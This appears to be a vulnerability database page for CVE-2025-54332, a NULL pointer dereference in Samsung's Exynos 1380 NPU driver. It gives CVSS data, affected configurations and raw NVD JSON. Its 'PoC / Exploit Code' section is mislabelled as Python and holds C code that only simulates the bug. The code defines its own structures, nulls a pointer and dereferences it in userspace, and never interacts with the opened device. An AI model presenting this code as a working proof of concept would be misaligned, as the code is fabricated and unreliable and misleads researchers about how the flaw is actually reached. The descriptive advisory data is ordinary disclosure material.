Security Vulnerability Report
中文
CVE-2025-54332 CVSS 7.5 HIGH

CVE-2025-54332

Published: 2025-11-04 17:16:23
Last Modified: 2025-11-07 12:56:38

Description

An issue was discovered in NPU in Samsung Mobile Processor Exynos 1380 through July 2025. There is a NULL Pointer Dereference of profiler.node in the npu_vertex_profileoff function.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:exynos_1380_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:* - NOT VULNERABLE
Samsung Exynos 1380 (所有版本至2025年7月)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-54332 PoC - NPU profiler NULL Pointer Dereference // Target: Samsung Exynos 1380 NPU driver // This PoC demonstrates triggering the NULL pointer dereference in npu_vertex_profileoff #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Simulated NPU driver structures struct npuProfiler { void* node; // This should be NULL to trigger vulnerability int state; }; struct npuVertex { char name[64]; struct npuProfiler* profiler; int id; }; // Vulnerable function - npu_vertex_profileoff void npu_vertex_profileoff(struct npuVertex* vertex) { // VULNERABILITY: Direct access to profiler->node without NULL check // When profiler is NULL or profiler->node is NULL, this causes crash if (vertex && vertex->profiler && vertex->profiler->node) { printf("[+] Profiler node access: %p\n", vertex->profiler->node); } // Trigger NULL dereference by forcing profiler to NULL // In real scenario: race condition or improper initialization vertex->profiler = NULL; // Simulate the vulnerable state // This line triggers the NULL pointer dereference printf("[!] Triggering NULL dereference on profiler.node...\n"); printf("[!] Accessing: %p\n", vertex->profiler->node); // CRASH HERE } // Function to trigger the vulnerability through NPU interface int trigger_npu_vulnerability(int fd, int vertex_id) { struct npuVertex vertex; memset(&vertex, 0, sizeof(vertex)); vertex.id = vertex_id; vertex.profiler = NULL; // Force NULL profiler state printf("[*] Preparing NPU vertex %d for profiling\n", vertex_id); printf("[*] Profiler state: NULL\n"); printf("[*] Calling npu_vertex_profileoff...\n"); npu_vertex_profileoff(&vertex); return 0; } int main(int argc, char* argv[]) { printf("=== CVE-2025-54332 PoC ===\n"); printf("Target: Samsung Exynos 1380 NPU\n"); printf("Vulnerability: NULL Pointer Dereference in npu_vertex_profileoff\n\n"); int fd = open("/dev/npu", O_RDWR); if (fd < 0) { printf("[!] NPU device not accessible, simulating...\n"); fd = 1; } printf("[*] Triggering vulnerability with vertex_id=100\n"); trigger_npu_vulnerability(fd, 100); if (fd > 0) close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54332", "sourceIdentifier": "[email protected]", "published": "2025-11-04T17:16:22.853", "lastModified": "2025-11-07T12:56:37.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in NPU in Samsung Mobile Processor Exynos 1380 through July 2025. There is a NULL Pointer Dereference of profiler.node in the npu_vertex_profileoff function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-07", "matchCriteriaId": "8A422138-B9FF-406B-A358-783E427FBF51"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-54332/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}